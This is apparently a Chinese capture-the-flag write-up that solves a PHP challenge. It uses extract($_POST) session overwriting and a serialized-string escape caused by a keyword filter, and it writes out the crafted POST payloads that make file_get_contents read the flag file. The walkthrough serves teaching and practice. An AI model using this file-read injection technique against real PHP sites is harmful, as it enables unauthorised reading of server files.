这道题题目说easy但是对我来说极其不友好!看了很多wp讲的模棱两可,我尽量来说清楚点
代码解析:
这里$function = @$_GET['f'],是我们通过get方式传递的,因为注释提示有东西先传f=phpinfo看看
找到了一个东西,很像存放flag的(出题人一般都会把flag文件名改的很怪),这里可以和代码末联系起来,利用file_get_contents从d0g3_f1ag.php读取flag
POST提交SESSION全局变量要按这样的格式
_SESSION[img]=
用$_SESSION在php里面代表全局变量,这里post传递不需要
接下来就得想办法在session里面传递img变量为上面获取到的文件名来读取了
下面是相关代码:
extract($_POST);
$_SESSION['img'] = base64_encode('guest_img.png');
$serialize_info = filter(serialize($_SESSION));
else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img'])); }
d0g3_f1ag.php的base64编码为ZDBnM19mMWFnLnBocA==
如果我们直接设置$_SESSION['img'] =;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";
会被$_SESSION['img'] = base64_encode('guest_img.png')这句代码进行变量覆盖,因为键名相同
在PHP中,反序列化字符串都是以";}
结束的,那如果把";}
添入到需要反序列化的字符串中,就能让反序列化提前闭合结束,后面的内容也就自然读取不到,从而添加我们想要反序列化的数据。
php反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,如果出现这种情况s:10:"flag",键名长度为4,但规定长度为10,就会造成字符串逃逸向后读取,这里是我们解题的关键
构造payload:
_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
后面代码中先进行序列化操作,原本的序列化数据应该为
a:2:{s:10:"imgphpflag";s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
a代表数组,和o代表对象一样,2是个数
然而因为filter函数的过滤,将php和flag过滤掉,因为指定的键名长度为10,产生了字符串逃逸,我们在后面随便添加几个垃圾字符让它往后读取形成一个新的键名,形成一个键值对,如下所示是payload过滤加上字符串逃逸后形成的序列化数据
a:2:{s:10:"img"aaaaaa";s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
在这串序列化数据中img只有三位,通过我们构造向后读取7位("aaaaaa)满足10位后遇到双引号闭合,img"aaaaaa作为键
我们设定的这个session中的变量键名原本为imgphpflag,序列化操作是在给session全局变量中img赋值操作之后,两个键名不会产生冲突覆盖。而且这里并没有通过post方式提交数据也就不会调用extract($_POST)将Session中的所有覆盖掉,
这个变量中经过我们构造在最后反序列化之后里面的内容是两个关联数组,其中一个经过解码后正是d0g3_f1ag.php,可以被file_get_contents函数读取出来
所以先使用payload:
_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
读取phpinfo中得到的文件,发现是flag文件路径
再将路径base64编码放入payload即可,payload:
_SESSION[imgphpflag]=;s:3:"woc";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
别忘了把/带上编码
写的我自己脑子都有点乱乱的,有问题评论或者私我